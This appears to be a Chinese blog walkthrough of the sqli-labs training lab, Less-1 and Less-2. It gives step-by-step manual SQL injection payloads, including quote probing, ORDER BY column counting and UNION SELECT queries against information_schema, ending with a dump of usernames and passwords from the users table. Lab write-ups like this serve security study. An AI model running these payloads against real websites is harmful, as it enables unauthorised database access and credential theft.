sqli-labs关卡1-15

less-1

目标url:http://fgxljj.icu:88/Less-1/

 

(1) 判断注入点

输入单引号,页面报错(语法错误,说明输入的单引号被带入到数据库并执行了)

sqli-labs关卡1-15

 

(2) 判断注入类型(数字型,字符型)

构造 ?id=1 and 1=1   回显正确

sqli-labs关卡1-15

 

 

构造 ?id=1 and 1=2   回显正确 

即没有进行逻辑判断,故注入类型为字符型

sqli-labs关卡1-15

 

 (3)判断闭合方式,并进行闭合

sqli-labs关卡1-15

构造 ?id=1'  and 1=1 -- +   回显正确

构造 ?id=1'  and 1=2 -- +   回显错误

以上可得闭合成功

 

(4) 判断字段数(order by)

 构造 ?id=1' order by 1 -- +    回显正确

 构造 ?id=1' order by 2 -- +    回显正确

 构造 ?id=1' order by 3 -- +    回显正确

sqli-labs关卡1-15

 

构造 ?id=1' order by 4 -- +    回显错误

故表users只有3列

sqli-labs关卡1-15

 

(5) 判断回显点

构造 ?id=-1' union select 1,2,3 -- +     联合查询(id置于-1,查询结果为空,则显示联合查询后面的回显点)

回显点为2,3sqli-labs关卡1-15

sqli-labs关卡1-15

 

(6) 查询相关内容

爆库   构造 ?id=1' union select 1,2,database() -- +

sqli-labs关卡1-15

 

 爆表    构造 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

sqli-labs关卡1-15

 

爆列    构造 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users '-- +

sqli-labs关卡1-15

 

爆值    构造 ?id=-1' union select 1,2,group_concat(username,':',password) from users -- +

sqli-labs关卡1-15

 

less-2

目标url:http://fgxljj.icu:88/Less-2/

 

(1) 判断注入点

     输入单引号,页面报错(语法错误,说明输入的单引号被带入到数据库并执行了)

sqli-labs关卡1-15

 

(2) 判断注入类型(数字型,字符型)

     构造 ?id=1 and 1=1   回显正确

sqli-labs关卡1-15

 

     构造 ?id=1 and 1=2   回显错误 

     故注入类型为数字型

 sqli-labs关卡1-15

 

(3) 判断字段数(order by)

 构造 ?id=1 order by 1    回显正确

 构造 ?id=1 order by 2    回显正确

 构造 ?id=1 order by 3    回显正确

sqli-labs关卡1-15

 

构造 ?id=1 order by 4  回显错误

故表users只有3列

sqli-labs关卡1-15

 

(4) 判断回显点

构造 ?id=-1 union select 1,2,3      联合查询(id置于-1,查询结果为空,则显示联合查询后面的回显点)

回显点为2,3sqli-labs关卡1-15

sqli-labs关卡1-15

 

(5) 查询相关内容

爆库   构造 ?id=1 union select 1,2,database() 

sqli-labs关卡1-15

 

 爆表    构造 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 

sqli-labs关卡1-15

 

爆列    构造 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users

sqli-labs关卡1-15

 

爆值    构造 ?id=-1 union select 1,2,group_concat(username,':',password) from users

sqli-labs关卡1-15

 

上一篇:sqli2


下一篇:natas通关记录